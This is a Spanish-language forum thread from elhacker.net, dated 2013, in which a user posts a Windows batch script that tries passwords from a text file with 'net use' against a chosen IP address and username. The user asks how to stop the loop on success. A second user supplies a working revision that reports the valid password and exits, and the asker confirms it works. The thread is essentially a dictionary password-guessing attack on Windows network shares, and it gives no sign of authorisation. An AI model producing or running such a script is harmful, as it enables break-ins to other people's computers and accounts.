Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: P3NDULO en 26 Diciembre 2013, 19:27 pm



Título: Porgrama para detectar contraseña de una txt externo.
Publicado por: P3NDULO en 26 Diciembre 2013, 19:27 pm
Buenas buenas...

Lo que quiero que haga el bat, es que salga de for, y me indique cual es la clave que se pudo conectar. acá esta el que tengo..

 

Código
  1. @echo off
  2. color 17
  3. set /p equipo= Escriba el numero de IP:
  4. set /p usar= Nombre del Usuario:
  5. SET /A NUM=0
  6. FOR /F "tokens=*" %%A IN (claves.txt) DO (
  7. echo La clave que utilizaremos es: %%A
  8. net use \\%equipo% /user:%equipo%\%usar% %%A
  9. set esta= %%A
  10. @if "%ERRORLEVEL%" == "2" goto fallo
  11. )
  12. :bien
  13. echo La clave fue encontrada!
  14. echo valor de retorno = %esta%
  15. goto fin
  16. :fallo
  17. echo Esta aplicación esta fallo!
  18. echo valor de retorno = %ERRORLEVEL%
  19. echo %%A
  20. goto fin
  21. :fin
  22. echo Listo.

 

Claro lo que tengo acá, hce lo que quiero, pasea por el archivo .txt, y testeo todas las claves, pero eso es lo que no quiero... quiero que cuando arroje el error que el la conexión es correcta, salga del for y me indique cual es la clave, sin tener que esperar a que culmine la corrida completa, y luego buscar la clave que utilice y se conecto...

Si me pueden ayudar... se los agradezco..je je...



[MOD]: Usa las etiquetas de código.


Título: Re: Porgrama para detectar contraseña de una txt externo.
Publicado por: Eleкtro en 26 Diciembre 2013, 20:41 pm
Prueba así, lo hice al vuelo, no lo he testeado:

Código
  1. @Echo OFF & Color 17
  2.  
  3. Echo+ | MORE
  4.  
  5. set /p "Computer=Escriba el numero de IP:"
  6. set /p "User=Nombre del Usuario:"
  7.  
  8. FOR /F "Usebackq Delims=" %%# IN (".\claves.txt") DO (
  9.  
  10. REM Echo La clave que utilizaremos es: %%~#
  11.  
  12. (
  13. NET Use \\%Computer% /user:"%Computer%\%User%" "%%~#"
  14. ) && (Call :Ok "%%~#") || (Call :Fail "%%~#")
  15.  
  16. )
  17. Goto :END
  18.  
  19. :Ok
  20. Echo: Clave Buena: "%~1"
  21. Pause & Exit /B 0
  22.  
  23. :Fail
  24. Echo: Clave fallida: "%~1"
  25. GOTO:EOF
  26.  
  27. :END
  28. Echo: Ninguna clave buena.
  29. Pause & Exit /B 1

Saludos


Título: Re: Porgrama para detectar contraseña de una txt externo.
Publicado por: P3NDULO en 26 Diciembre 2013, 22:02 pm
Muchas gracias esta perfecto asi mismo es...
salio a perfecto.. lo unico que no supe fue lo de sacar la comparacion de el error level, que asumo que tiene que ser el && que colocaste, y el %%~# creo que es para que este guardando los datos como tal del txt que esta vereficando..
Bueno ahora voy a hacer otro y tratare de colocarlo cuando este listo..
De verdad uchas gracias...
Tenia como una semana dandome con google e cuanta funciones veia jejejeje..